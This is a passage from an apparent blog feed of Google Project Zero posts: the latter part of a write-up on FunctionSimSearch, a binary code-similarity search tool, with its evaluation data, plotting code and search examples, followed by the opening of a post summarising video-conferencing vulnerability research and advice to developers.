"./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": 10.521103858947754, "y": -13.016182899475098, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": 10.517973899841309, "y": -13.017601013183594, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": 10.520806312561035, "y": -13.026138305664062, "function_name": "_ZN11CommandDataD2E"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -8.43741226196289, "y": 25.650911331176758, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop."}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -8.437604904174805, "y": 25.651025772094727, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop."}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -8.437594413757324, "y": 25.65088653564453, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop."}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": -9.282793998718262, "y": 25.775348663330078, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop."}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -9.731729507446289, "y": 24.92303466796875, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop."}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -9.731915473937988, "y": 24.92303466796875, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop."}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 14.064445495605469, "y": -16.768543243408203, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 13.663546562194824, "y": -7.243776321411133, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 13.663509368896484, "y": -7.24371337890625, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 17.028146743774414, "y": -20.011234283447266, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 2.420549154281616, "y": 6.807948589324951, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -7.492569923400879, "y": -0.024799950420856476, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 7.09446382522583, "y": -23.098052978515625, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 7.0944647789001465, "y": -23.098054885864258, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 7.094464302062988, "y": -23.098054885864258, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 10.398538589477539, "y": -2.3063929080963135, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 10.398560523986816, "y": -2.306286334991455, "function_name": "_ZN11SecPassword3SetEPK"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 10.400425910949707, "y": -2.307003974914551, "function_name": "_ZN11SecPassword3SetEPK"}] body { font: 15px sans-serif; } .axis path, .axis line { fill: none; stroke: #000; shape-rendering: crispEdges; } .dot { stroke: none; } .tooltip { position: absolute; font-size: 12px; width: auto; height: auto; pointer-events: none; background-color: white; }
var data = JSON.parse(document.getElementById("point_data2").innerHTML); var makeVis = function(data) { // Common pattern for defining vis size and margins var margin = { top: 20, right: 20, bottom: 30, left: 40 }, width = 600; height = 600; // Add the visualization svg canvas to the vis-container var canvas = d3.select("#vis-container2").append("svg") .attr("width", width + margin.left + margin.right) .attr("height", height + margin.top + margin.bottom) .append("g") .attr("transform", "translate(" + margin.left + "," + margin.top + ")"); // Define our scales var colorScale = d3.scale.category10(); var xScale = d3.scale.linear() .domain([ d3.min(data, function(d) { return d.x; }) - 1, d3.max(data, function(d) { return d.x; }) + 1 ]) .range([0, width]); var yScale = d3.scale.linear() .domain([ d3.min(data, function(d) { return d.y; }) - 1, d3.max(data, function(d) { return d.y; }) + 1 ]) .range([0, height]); // Define our axes var xAxis = d3.svg.axis() .scale(xScale) .orient('bottom'); var yAxis = d3.svg.axis() .scale(yScale) .orient('left'); // Add x-axis to the canvas canvas.append("g") .attr("class", "x axis") .attr("transform", "translate(0," + height + ")") // axis at bottom .call(xAxis) .append("text") .attr("class", "label") .attr("x", width) // x-offset from the xAxis, move label all the way to the right .attr("y", -6) // y-offset from the xAxis, moves text UPWARD! .style("text-anchor", "end") // right-justify text .text(""); // Add y-axis to the canvas canvas.append("g") .attr("class", "y axis") // .orient('left') took care of axis positioning for us .call(yAxis) .append("text") .attr("class", "label") .attr("transform", "rotate(-90)") // although axis is rotated, text is not .attr("y", 15) // y-offset from yAxis .style("text-anchor", "end") .text(""); // Add the tooltip container to the vis container // it's invisible and its position/contents are defined during mouseover var tooltip = d3.select("#vis-container2").append("div") .attr("class", "tooltip") .style("opacity", 0); // tooltip mouseover event handler var tipMouseover = function(d) { var color = colorScale(d.function_name); var html = d.file_name + "
" + "" + d.function_name + "
"; tooltip.html(html) .style("left", (d3.event.pageX + 15) + "px") .style("top", (d3.event.pageY - 28) + "px") .transition() .duration(200) // ms .style("opacity", .9); }; // tooltip mouseout event handler var tipMouseout = function(d) { tooltip.transition() .duration(300) // ms .style("opacity", 0); // don't care about position! }; // Add data points! canvas.selectAll(".dot") .data(data) .enter().append("circle") .attr("class", "dot") .attr("r", 3) // radius size, could map to another data dimension .attr("cx", function(d) { return xScale( d.x ); }) // x position .attr("cy", function(d) { return yScale( d.y ); }) // y position .style("fill", function(d) { return colorScale(d.function_name); }) .on("mouseover", tipMouseover) .on("mouseout", tipMouseout); }; makeVis(data);
Mouse-over on a point will display the function symbol and file-of-origin. It is visible to the naked eye that our training had the effect of moving groups of functions “more closely together”.

We can see here that the training does have some effect, but does not produce the same good effect for all functions: Some functions seem to benefit much more from the training than others, and it remains to be investigated why this is the case.Examining TPR, FPR, IRR, and the ROC-curve

When evaluating information retrieval systems, various metrics are important: The true positive rate (how many of the results we were supposed to find did we find?), the false positive rate (how many of the results we were not supposed to find did we find?), the irrelevant result rate (what percentage of the results we returned were irrelevant? This is the complement to the precision), and the ROC curve (a plot of the TPR against the FPR).This is helpful in both making informed choices about the right distance threshold, but also in order to quantify how much we are losing by performing approximate vs. precise search. It also helps us choose how many "hash buckets" we want to use for approximate searching.There is a Python script in the git repository that can be used to generate the data for the ROC curve. The script requires a file with the symbols for all elements of the search index, a textual representation of the search index (obtained with dumpsearchindex, and access to the actual search index file.# Create a search index to work with../createfunctionindex --index=/media/thomasdullien/roc/search.index# Make it big enough to contain the data we are adding../growfunctionindex --index=/media/thomasdullien/roc/search.index --size_to_grow=1024# Add all the functions from our training directories to it:for filename in $(find ../testdata/ELF/ -iname *.ELF); do echo $filename; ./addfunctionstoindex --format=ELF --input=$filename --index=/media/thomasdullien/roc/search.index; donefor filename in $(find ../testdata/PE/ -iname *.exe); do echo $filename; ./addfunctionstoindex --format=PE --input=$filename --index=/media/thomasdullien/roc/search.index; done# Now dump the search index into textual form for the Python script:./dumpfunctionindex --index /media/thomasdullien/roc/search.index  > /media/thomasdullien/roc/search.index.txt# The file "symbols.txt" is just a concatenation of the symbols extracted during# the run of the ./generate_training_data.py script.cat /media/thomasdullien/training_data/extracted_symbols_*.txt > /media/thomasdullien/roc/symbols.txt

In order to obtain the data for the curve, we can use the following Python script:testdata/evaluate_ROC_curve.py --symbols=/media/thomasdullien/roc/symbols.txt --dbdump=/media/thomasdullien/roc/search.index.txt --index=/media/thomasdullien/roc/search.index

The output of the script is a 7-column output:
  1. The maximum distance between two SimHash values to consider.
  2. The true positive rate for exact (non-approximate-search-index) search.
  3. The false positive rate for exact (non-approximate-search-index) search.
  4. The true positive rate for search using the approximate search index.
  5. The false positive rate for using the approximate search index.
  6. The percentage of irrelevant results returned using exact search.
  7. The percentage of irrelevant results returned using approximate search.
We can generate the curves for both the trained and untrained data, and then plot the results using gnuplot:gnuplot -c ./testdata/plot_results_of_evaluate_ROC_curve.gnuplot ./untrained_roc.txtgnuplot -c ./testdata/tpr_fpr_curve.gnuplot ./untrained_roc.txt ./trained_roc.txt

So let us examine this plots for the untrained results first:


The first diagram shows that if we want a TPR of more than 50%, we will have to incur about 20% of the returned results being irrelevant to our search; the cut-off distance we should take for this is somewhere around 25 bits.We also see that we will pay a heavy price for increasing the cut-off: At 35 bits, where our TPR hits 55%, half of our results are irrelevant. This is a weakness of the set-up at the moment, and we will see if it can be improved by learning weights.The second diagram shows that we only pay in TPR for the approximate search for very high cut-offs - the TPR and FPR flatten off, which is a symptom of us missing more and more of the search space as we expand the number of bits we consider relevant.The lower-left diagram shows how quickly our precision deteriorates as we try to improve the recall.How are these curves affected by the training process?
So in the top-left curve, we can see that the rate of irrelevant results at 10 bits distance has dropped significantly: Down to approximately 5% from about 15%. Unfortunately, the true-positive-rate has also dropped - instead of about 45% of the results we want to get, we only achieve about 33%. So the training works in the sense that it improves the ratio of good results to irrelevant results significantly, but at the cost of lowering the overall rate of results that we find.If we are willing to tolerate approximately 15% irrelevant results, we will get about 45% of the results we desire in the non-trained version. Sadly, in the trained version, for the same level of irrelevant results, we only get about 40% of the results we desire.In summary: In the current form, the training is useful for lowering the irrelevant result rate below what is achievable without training - but for any acceptable rate of irrelevant results that can be achieved without training, the untrained version appears to achieve better results.Does this generalize to out-of-sample functions?In the section about splitting our training/validation data, we posed two questions - and the more interesting question is (2). Is there anything we are learning about the compilers ?Plotting the difference-in-mean-distance that we plotted for question (1) also for question (2) yields the following image:

The red curve implies that there is a faint but non-zero signal - after about 80 training steps we have increased the mean-difference-in-means from 11.42 bits to 12.81 bits; overtraining appears to begin shortly thereafter.It is unclear how much signal could be extracted using more powerful models; the fact that our super-simple linear model extracts something is encouraging.Practical searchingUsing FunctionSimSearch from any Python-enabled RE toolThe command-line tools mostly rely on DynInst for disassembly - but reverse engineers work with a bewildering plethora of different tools: IDA, Radare, Binary Ninja, Miasm etc. etc.

Given the development effort to build integration for all these tools, I decided that the simplest thing would be to provide Python bindings -- so any tool that can interact with a Python interpreter can use FunctionSimSearch via the same API. In order to get the tool installed into your Python interpreter, run:

python ./setup.py --install user

The easiest way to use the API from python is via JSON-based descriptions of flowgraphs:

 jsonstring = (... load the JSON ... )  fg = functionsimsearch.FlowgraphWithInstructions()  fg.from_json(jsonstring)  hasher = functionsimsearch.SimHasher("../testdata/weights.txt")  function_hash = hasher.calculate_hash(fg)

This yields a Python tuple with the hash of the function. The JSON graph format used as input looks as follows:

{
 "edges": [ { "destination": 1518838580, "source": 1518838565 }, (...) ],
 "name": "CFG",
 "nodes": [
   {
     "address": 1518838565,
     "instructions": [
       { "mnemonic": "xor", "operands": [ "EAX", "EAX" ] },
       { "mnemonic": "cmp", "operands": [ "[ECX + 4]", "EAX" ] },
       { "mnemonic": "jnle", "operands": [ "5a87a334" ] } ]    }, (...)  ]
}
More details on how to use the Python API can be found in this example Python-based IDA Plugin. The plugin registers hotkeys to “save the current function in IDA into the hash database” and hotkeys to “search for similar functions to the current IDA function in the hash database”. It also provides hotkeys to save the entire IDB into the Database, and to try to match every single function in a given disassembly against the search index.

For people that prefer using Binary Ninja, a plugin with similar functionality is available (thanks carstein@ :-).Searching for unrar code in mpengine.dllAs a first use case, we will use IDA to populate a search index with symbols from unrar, and then search through mpengine.dll (also from Binary Ninja) for any functions that we may recognize.We can populate a search index called '''/var/tmp/ida2/simhash.index''' from a set of existing disassemblies using the following command line:# Create the file for the search index./home/thomasdullien/Desktop/sources/functionsimsearch/bin/createfunctionindex --index=/var/tmp/ida2/simhash.index# Populate using all 32-bit UnRAR.idb in a given directory.for i in $(find /media/thomasdullien/unrar.4.2.4.builds.idbs/unrar/ -iname UnRAR.idb); do ./ida -S"/usr/local/google/home/thomasdullien/sources/functionsimsearch/pybindings/ida_example.py export /var/tmp/ida2/" $i; done# Populate using all 64-bit UnRAR.i64 in a given directory.for i in $(find /media/thomasdullien/unrar.4.2.4.builds.idbs/unrar/ -iname UnRAR.i64); do ./ida64 -S"/usr/local/google/home/thomasdullien/sources/functionsimsearch/pybindings/ida_example.py export /var/tmp/ida2/" $i; doneOnce this is done, we can open mpengine.dll in IDA, go to File->Script File and load ida_example.py, then hit "Shift-M".The IDA message window will get flooded with results like the text below:(...)6f4466b67afdbf73:5a6c8da1 f3f964313d8c559e-e6196c17e6c230b4 Result is 125.000000 - 72244a754ba4796d:42da24 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\Release\UnRAR.exe 'memcpy_s' (1 in inf searches)6f4466b67afdbf73:5a6c8da1 f3f964313d8c559e-e6196c17e6c230b4 Result is 125.000000 - ce2a2aa885d1a212:428234 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\MinSize\UnRAR.exe 'memcpy_s' (1 in inf searches)6f4466b67afdbf73:5a6c8da1 f3f964313d8c559e-e6196c17e6c230b4 Result is 125.000000 - 69c2ca5e6cb8a281:42da88 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\FullOpt\UnRAR.exe 'memcpy_s' (1 in inf searches)--------------------------------------6f4466b67afdbf73:5a6f7dee e6af83501a8eedd8-6cdba61793e9a840 Result is 108.000000 - ce2a2aa885d1a212:419301 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\MinSize\UnRAR.exe '?RestartModelRare@ModelPPM@@AAEXXZ' (1 in 12105083908.189119 searches)6f4466b67afdbf73:5a6f7dee e6af83501a8eedd8-6cdba61793e9a840 Result is 107.000000 - 86bc6fc88e1453e8:41994b x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2013\unrar32\MinSize\UnRAR.exe '?RestartModelRare@ModelPPM@@AAEXXZ' (1 in 3026270977.047280 searches)6f4466b67afdbf73:5a6f7dee e6af83501a8eedd8-6cdba61793e9a840 Result is 107.000000 - eb42e1fc45b05c7e:417030 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\MinSize\UnRAR.exe '?RestartModelRare@ModelPPM@@AAEXXZ' (1 in 3026270977.047280 searches)--------------------------------------6f4466b67afdbf73:5a6fa46b f0b5a76c7eee2882-62d6c234a16c5b68 Result is 106.000000 - d4f4aa5dd49097be:414580 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\Release\UnRAR.exe '?Execute@RarVM@@QAEXPAUVM_PreparedProgram@@@Z' (1 in 784038800.726675 searches)6f4466b67afdbf73:5a6fa46b f0b5a76c7eee2882-62d6c234a16c5b68 Result is 106.000000 - 50bbba3fc643b153:4145c0 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\FullOpt\UnRAR.exe '?Execute@RarVM@@QAEXPAUVM_PreparedProgram@@@Z' (1 in 784038800.726675 searches)6f4466b67afdbf73:5a6fa46b f0b5a76c7eee2882-62d6c234a16c5b68 Result is 105.000000 - eb42e1fc45b05c7e:410717 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\MinSize\UnRAR.exe '?Execute@RarVM@@QAEXPAUVM_PreparedProgram@@@Z' (1 in 209474446.235050 searches)--------------------------------------6f4466b67afdbf73:5a6fa59a c0ddbe744a832340-d7d062fe42fd5a60 Result is 106.000000 - eb42e1fc45b05c7e:40fd39 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\MinSize\UnRAR.exe '?ExecuteCode@RarVM@@AAE_NPAUVM_PreparedCommand@@I@Z' (1 in 784038800.726675 searches)--------------------------------------6f4466b67afdbf73:5a7ac980 c03968c6fad84480-2b8a2911b1ba1e40 Result is 105.000000 - 17052ba379b56077:140069170 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar64\Debug\UnRAR.exe 'strrchr' (1 in 209474446.235050 searches)6f4466b67afdbf73:5a7ac980 c03968c6fad84480-2b8a2911b1ba1e40 Result is 105.000000 - 4e07df225c1cf59c:140064590 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2013\unrar64\Debug\UnRAR.exe 'strrchr' (1 in 209474446.235050 searches)6f4466b67afdbf73:5a7ac980 c03968c6fad84480-2b8a2911b1ba1e40 Result is 105.000000 - a754eed77d0059ed:1400638f0 x:\shared_win\library_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2012\unrar64\Debug\UnRAR.exe 'strrchr' (1 in 209474446.235050 searches)--------------------------------------
Let us examine some of these results a bit more in-depth. The first result claims to have found a version of memcpy_s, with a 125 out of 128 bits matching. This implies a very close match. The corresponding disassemblies are:



Aside from a few minor changes on the instruction-level, the two functions are clearly the same - even the CFG structure stayed identical.The next result claims to have found a variant ppmii::ModelPPM::RestartModelRare with 108 of the 128 bits matching.



The disassembly (and all structure offsets in the code) seems to have changed quite a bit, but the overall CFG structure is mostly intact: The first large basic block was broken up by the compiler, so the graphs are not identical, but they are definitely still highly similar.

The next example is a much larger function - the result claims to have identified RarVM::ExecuteCode with 106 of 128 bits of the hash matching. What does the graph (and the disassembly) look like?



In this example, the graph has changed substantially, but a few subgraphs seem to have remained stable. Furthermore, the code contains magic constants (such as 0x17D7840, or the 0x36) that will have factored into the overall hash. This is a nontrivial find, so ... yay!This blog post would not be complete without showing an example of a false positive: Our search also brings up a match for ``RarTime::operator==```. The match is very high-confidence -- 125 out of 128 bits match, but it turns out that - while the code is very similar - the functions do not actually have any relationship on the source-code level.

Both functions check a number of data members of a structure, and return either true or false if all the values are as expected. Such a construct can arise easily - especially in operator==-style constructs. Searching for libtiff code in Adobe ReaderIt is well-documented that Adobe Reader has been bitten by using outdated versions of libtiff in the past. This means that running a search through AcroForm.dll should provide us with a number of good hits from libtiff, and failure to achieve this should raise some eyebrows.

We populate a database with a variety of libtiff builds, run the plugin as we did previously, and examine the results. In comparison to the mpengine case, we get dozens of high-likelihood-results -- the codebase inside AcroForm.dll has not diverged from upstream quite as heavily as the Unrar fork inside mpengine.Searching for libtiff code through all my Windows DLLsSearching for code that we already know is present is not terribly interesting. How about searching for traces of libtiff across an entire harddisk with Windows 10 installed?In order to do this from the command line (e.g. without any real third-party disassembler), we need a few things:
  1. A directory in which we have compiled libtiff with a variety of different versions of Visual Studio and a variety of different compiler settings.
  2. Debug information from the PDB files in a format we can easily parse. The current tooling expects a .debugdump file in the same directory as the PDB file, obtained by using Microsofts DIA2Dump tool and redirecting the output to a text file.
Let's create a new search index and populate it:# Create the file for the search index./home/thomasdullien/Desktop/sources/functionsimsearch/bin/createfunctionindex --index=/var/tmp/work/simhash.index# Populate it.for i in $(find /media/thomasdullien/storage/libtiff/PE/ -name tiff.dll); do ./addfunctionstoindex --input=$i --format=PE --index=/var/tmp/work/simhash.index; doneWe also want some metadata so we know the symbols of the files in the search index.We can generate a metadata file to be used with a search index by running the same script that generates training data:~/Desktop/sources/functionsimsearch/testdata/generate_training_data.py --work_directory=/var/tmp/work/ --executable_directory=/media/thomasdullien/storage/libtiff/ --generate_fingerprints=True --generate_json_data=Falsecat /var/tmp/work/extracted_symbols* > /var/tmp/work/simhash.index.metaAllright, finally we can scan through the DLLs in a directory:for i in $(find /media/DLLs -iname ./*.dll); do echo $i; ./matchfunctionsindex --index=/var/tmp/work/simhash.index --input $i; done
We will get commandline output similar to the following:/home/thomasdullien/Desktop/sources/adobe/binaries/AGM.dll[!] Executable id is 8ce0e5a0e1324b15[!] Loaded search index, starting disassembly.[!] Done disassembling, beginning search.[!] (1231/7803 - 8 branching nodes) 0.843750: 8ce0e5a0e1324b15.608033d matches 36978e7b9d396c8d.10021978 /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.O1/libtiff.dll std::basic_string<char, std::char_traits<char>, std::allocator<char> >::_Copy(unsigned int, unsigned int) [!] (1231/7803 - 8 branching nodes) 0.820312: 8ce0e5a0e1324b15.608033d matches 53de1ce877c8fedd.10020e8b /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2012.32bits.O1/libtiff.dll std::basic_string<char, std::char_traits<char>, std::allocator<char> >::_Copy(unsigned int, unsigned int) [!] (1236/7803 - 7 branching nodes) 0.828125: 8ce0e5a0e13i24b15.608056e matches 36978e7b9d396c8d.100220d4 /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.O1/libtiff.dll std::basic_string<char, std::char_traits<char>, std::allocator<char> >::assign( std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, unsigned int, unsigned int) (...)/home/thomasdullien/Desktop/sources/adobe/binaries/BIBUtils.dll[!] Executable id is d7cc3ee987ba897f[!] Loaded search index, starting disassembly.[!] Done disassembling, beginning search.(...)/media/dlls/Windows/SysWOW64/WindowsCodecs.dll[!] Executable id is cf1cc98bead49abf[!] Loaded search index, starting disassembly.[!] Done disassembling, beginning search.[!] (3191/3788 - 23 branching nodes) 0.851562: cf1cc98bead49abf.53135c10 matches 39dd1e8a79a9f2bc.1001d43d /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2015.32bits.O1/libtiff.dll PackBitsEncode( tiff*, unsigned char*, int, unsigned short) [!] (3192/3788 - 23 branching nodes) 0.804688: cf1cc98bead49abf.53135c12 matches 4614edc967480a0d.1002329a /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.O2/libtiff.dll [!] (3192/3788 - 23 branching nodes) 0.804688: cf1cc98bead49abf.53135c12 matches af5e68a627daeb0.1002355a /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.Ox/libtiff.dll [!] (3192/3788 - 23 branching nodes) 0.804688: cf1cc98bead49abf.53135c12 matches a5f4285c1a0af9d9.10017048 /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2017.32bits.O1/libtiff.dll PackBitsEncode( tiff*, unsigned char*, int, unsigned short) [!] (3277/3788 - 13 branching nodes) 0.828125: cf1cc98bead49abf.5313b08e matches a5f4285c1a0af9d9.10014477 /home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2017.32bits.O1/libtiff.dll
This is pretty interesting. Let's load WindowsCodecs.dll and the libtiff.dll with the best match into IDA, and examine the results:

At this zoom level, the two functions do not necessarily look terribly similar, but zooming in, it becomes apparent that they do share a lot of similarities, both structural and in terms of instruction sequences:



What really gives us confidence in the non-spuriousness of the result is (...drumroll...) the name that IDA obtained for this function from the Microsoft-provided PDB debug symbols: PackBitsEncode.Closer examination of WindowsCodecs.dll reveals that it contains a fork of libtiff version 3.9.5, which Microsoft changed significantly. We have not investigated how Microsoft deals with backporting security and reliability fixes from upstream. Since libtiff links against libjpeg, it should perhaps not surprise us that the same DLL also contains a modified libjpeg fork.Summary, Future Directions, Next StepsWhat has been learnt on this little adventure? Aside from many details about building similarity-preserving hashes and search indices for them, I learnt a few interesting lessons:Lessons LearntThe search index vs linear sweep - modern CPUs are fast at XORIt turns out that modern CPUs are extremely fast at simply performing a linear sweep through large areas of memory. A small C program with a tight inner loop which loads a hash, XORs it against a value, counts the resulting bits, and remembers the index of the "closest" value will search through hundreds of millions of hashes on a single core.The algorithmic break-even for the locality-sensitive-hashing index is not reached until way north of a few hundred million hashes; it is unclear how many people will even have that many hashes to compare against.It is possible that the clever search index was over-engineered, and a simple linear sweep would do just as well (and be more storage-efficient).Competing with simple string searchFor the stated problem of finding statically linked libraries, it turns out that in the vast majority of cases (personally guess 90%+), searching for particularly expressive strings which are part of the library will be the most effective method: Compilers generally do not change strings, and if the string is sufficiently unusual, one will obtain a classifier with almost zero irrelevant results and a reasonably high true positive rate.The heavy machinery that we explored here is hence most useful in situations where individual snippets of code have been cut & pasted between open-source libraries. Of the real-world cases we examined, only mpengine.dll fits the bill; it is an open question how prevalent cutting-and-pasting-without-strings is.An interesting research question with regards to existing published results is also: What added value does the method provide over simple string search?The problem is still hardEven with all the engineering performed here, we can only reliably find about 40% of the cases we care about - and likely even fewer if a compiler is involved to which we do not have access. There is a lot of room to improve the method - I optimistically thinks it should be possible to reach a true positive rate of 90%+ with a small number of irrelevant results.It sounds like an interesting question for the ML and RE community: Can embeddings from disassemblies into Hamming-space be learnt that achieve much better results than the simple linear model here? At what computational cost?Future directions / next stepsThere are a number of directions into which this research could (and should) be expanded:
  1. Re-writing the machine learning code in TensorFlow or Julia (or any other setup that allows efficient execution on the GPU). The current code takes days to train with 56-core server machines mainly because my desire to write the loss function directly in C++. While this is elegant in the framework of a single-language codebase, using a language that allows easy parallelization of the training process onto a GPU would make future experimentation much easier.
  2. Swapping L-BFGS for the usual SGD variants used in modern machine learning. As the quantity of training data increases, L-BFGS scales poorly; there are good reasons why almost nobody uses it any more for training on massive quantities of data.
  3. Triplet and quadruplet training. Various recent papers that deal with learning embeddings from data [Triplet]. From an intuitive perspective this makes sense, and the training code should be adapted to allow such training.
  4. Better features. The set of features that are currently used are very poor - mnemonic-tuples, graphlets, and large constants that are not divisible by 4 are all that we consider at the moment; and operands, structure offsets, strings etc. are all ignored. There is clearly a lot of valuable information to be had here.
  5. Experiments with Graph-NNs. A lot of work on 'learning on graphs' has been performed and published in the ML community. Exciting results in that area allow learning of (very simple) graph algorithms (such as shortest path) from examples, it is plausible that these models can beat the simple linear model explored here. CCS ‘17 uses such a model, and even if it is hard for me to judge what part of their performance is due to string matching and what part is the rest of the model, the approach sounds both promising and valid.
  6. Using adjacency information. Functions that were taken from another library tend to be adjacent in binaries; a group of functions that come from the same binary should provide much stronger evidence that a third-party library is used than an isolated hit.
  7. Replacing the ANN tree data-structure with a flat array. Given the speed of modern CPUs at linearly sweeping through memory, it is likely that the vast majority of users (with less than 100m hashes) does not require the complex data structure for ANN search (and the resulting storage overhead. For the majority of use-cases, a simple linear sweep should be superior to the use of bit-permutations as LSH family.
The end (for now).If you have questions, recommendations, or (ideally) pull requests: Please do not hesitate to contact the authors on the relevant github repository here.
Categories: Security

Adventures in Video Conferencing Part 5: Where Do We Go from Here?

Google Project Zero - Thu, 12/13/2018 - 13:55
Posted by Natalie Silvanovich, Project Zero
Overall, our video conferencing research found a total of 11 bugs in WebRTC, FaceTime and WhatsApp. The majority of these were found through less than 15 minutes of mutation fuzzing RTP. We were surprised to find remote bugs so easily in code that is so widely distributed. There are several properties of video conferencing that likely led to the frequency and shallowness of these issues.WebRTC Bug ReportingWhen we started looking at WebRTC, we were surprised to discover that their website did not describe how to report vulnerabilities to the project. They had an open bug tracker, but no specific guidance on how to flag or report vulnerabilities. They also provided no security guidance for integrators, and there was no clear way for integrators to determine when they needed to update their source for security fixes. Many integrators seem to have branched WebRTC without consideration for applying security updates. The combination of these factors make it more likely that vulnerabilities did not get reported, vulnerabilities or fixes got ‘lost’ in the tracker, fixes regressed or fixes did not get applied to implementations that use the source in part.
We worked with the WebRTC team to add this guidance to the site, and to clarify their vulnerability reporting process. Despite these changes, several large software vendors reached out to our team with questions about how to fix the vulnerabilities we reported. This shows there is still a lack of clarity on how to fix vulnerabilities in WebRTC.Video Conferencing Test ToolsWe also discovered that most video conferencing solutions lack adequate test tools. In most implementations, there is no way to collect data that allows for problems with an RTP stream to be diagnosed. The vendors we asked did not have such a tool, even internally.  WebRTC had a mostly complete tool that allows streams to be recorded in the browser and replayed, but it did not work with streams that used non-default settings. This tool has now been updated to collect enough data to be able to replay any stream. The lack of tooling available to test RTP implementations likely contributed to the ease of finding vulnerabilities, and certainly made reproducing and reporting vulnerabilities more difficultVideo Conferencing StandardsThe standards that comprise video conferencing such as RTP, RTCP and FEC introduce a lot of complexity in achieving their goal of enabling reliable audio and video streams across any type of connection. While the majority of this complexity provides value to the end user, it also means that it is inherently difficult to implement securely. The Scope of Video ConferencingWebRTC has billions of users. While it was originally created for use in the Chrome browser, it is now integrated by at least two Android applications that eclipse Chrome in terms of users: Facebook and WhatsApp (which only uses part of WebRTC). It is also used by Firefox and Safari. It is likely that most mobile devices run multiple copies of the WebRTC library. The ubiquity of WebRTC coupled with the lack of a clear patch strategy make it an especially concerning target for attackers.Recommendations for DevelopersThis section contains recommendations for developers who are implementing video conferencing based on our observations from this research.
First, it is a good idea to use an existing solution for video conferencing (either WebRTC or PJSIP) as opposed to implementing a new one. Video conferencing is very complex, and every implementation we looked at had vulnerabilities, so it is unlikely a new implementation would avoid these problems. Existing solutions have undergone at least some security testing and would likely have fewer problems.
